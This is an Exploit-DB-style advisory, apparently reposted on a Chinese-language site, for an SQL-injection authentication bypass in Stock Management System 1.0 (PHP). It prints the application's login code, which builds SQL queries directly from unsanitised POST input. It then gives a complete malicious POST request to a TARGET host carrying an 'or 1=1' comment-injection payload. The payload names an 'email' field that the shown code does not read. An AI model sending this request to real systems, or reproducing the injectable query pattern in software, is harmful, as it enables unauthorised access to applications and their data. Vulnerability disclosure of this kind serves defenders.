Stock Management System 1.0 – Authentication Bypass

• Exploit Database
• 15 阅读

• 作者： Adeeb Shah
  日期： 2020-08-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48733/

• # Exploit Title: Stock Management System 1.0 - Authentication Bypass
  # Exploit Author: Adeeb Shah (@hyd3sec)
  # Date: August 1, 2020
  # Vendor Homepage: https://www.sourcecodester.com/
  # Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
  # Version: 1.0
  # Tested On: Windows 10 (x64_86) + XAMPP 7.4.4
  
  # Vulnerable Source Code
  
  
  if($_POST) {		
  
  	$username = $_POST['username'];
  	$password = $_POST['password'];
  
  	if(empty($username) || empty($password)) {
  		if($username == "") {
  			$errors[] = "Username is required";
  		} 
  
  		if($password == "") {
  			$errors[] = "Password is required";
  		}
  	} else {
  		$sql = "SELECT * FROM users WHERE username = '$username'";
  		$result = $connect->query($sql);
  
  		if($result->num_rows == 1) {
  			$password = md5($password);
  			// exists
  			$mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
  			$mainResult = $connect->query($mainSql);
  
  			if($mainResult->num_rows == 1) {
  				$value = $mainResult->fetch_assoc();
  				$user_id = $value['user_id'];
  
  				// set session
  				$_SESSION['userId'] = $user_id;
  
  				header('location: http://localhost/stock/dashboard.php');	
  			} else{
  				
  				$errors[] = "Incorrect username/password combination";
  			} // /else
  		} else {		
  			$errors[] = "Username doesnot exists";		
  		} // /else
  	} // /else not empty username // password
  	
  } // /if $_POST
  ?>
  
  
  # Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1
  POST /stock/index.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.222.132/stock/
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 47
  DNT: 1
  Connection: close
  Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
  Upgrade-Insecure-Requests: 1
  
  email='+or+1%3d1+--+admin&password=badPass